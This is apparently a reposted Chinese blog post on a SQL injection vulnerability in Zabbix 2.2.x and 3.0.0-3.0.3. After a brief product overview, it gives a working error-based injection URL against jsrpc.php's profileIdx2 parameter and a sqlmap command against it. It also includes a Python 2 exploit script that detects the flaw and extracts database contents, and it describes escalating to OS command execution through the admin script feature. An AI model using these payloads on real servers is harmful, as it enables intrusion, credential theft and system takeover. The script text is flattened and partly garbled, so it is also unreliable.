赞
踩
zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。
zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。
zabbix由2部分构成,zabbix server与可选组件zabbix agent。
zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能,它可以运行在Linux,Solaris,HP-UX,AIX,Free BSD,Open BSD,OS X等平台上。
https://mp.weixin.qq.com/s/rt3ikDwANAsZZIAGNbC-Iw
https://mp.weixin.qq.com/s/Gi3NMbZcgMutE8mNqCmNAw
zabbix 2.2.x, 3.0.0-3.0.3版本
latest.php中的toggle_ids[]或jsrpc.php中的profieldx2参数存在sql注入
存在SQL注入漏洞,攻击者通过未授权进入zabbix管理系统,进入后台使用script等功能直接获取zabbix服务器的操作系统权限。
https://mp.weixin.qq.com/s/gYcZ2FecLt3acz42kHyNWw
通过sql注入获取管理员账户密码,或者通过更换sessionid进入后台,利用后台的script功能直接获取zabbix服务器的操作系统权限。
zabbix 2.2.x,3.0.0-3.0.3
/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0x7e,database()),0x7e)
sqlmap.py -u "http://192.168.14.128:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0x7e,database()),0x7e)" -p profileIdx2
# -*- coding: utf-8 -*- # Date: 2016/8/18 import urllib2 import sys, os import re def deteck_Sql(): u'检查是否存在 SQL 注入' payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1" try: response = urllib2.urlopen(url + payload, timeout=10).read() except Exception, msg: print msg else: key_reg = re.compile(r"INSERT\s*INTO\s*profiles") if key_reg.findall(response): return True def sql_Inject(sql): u'获取特定sql语句内容' payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote( sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1" try: response = urllib2.urlopen(payload, timeout=10).read() except Exception, msg: print msg else: result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1") results = result_reg.findall(response) if results: return results[0]
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。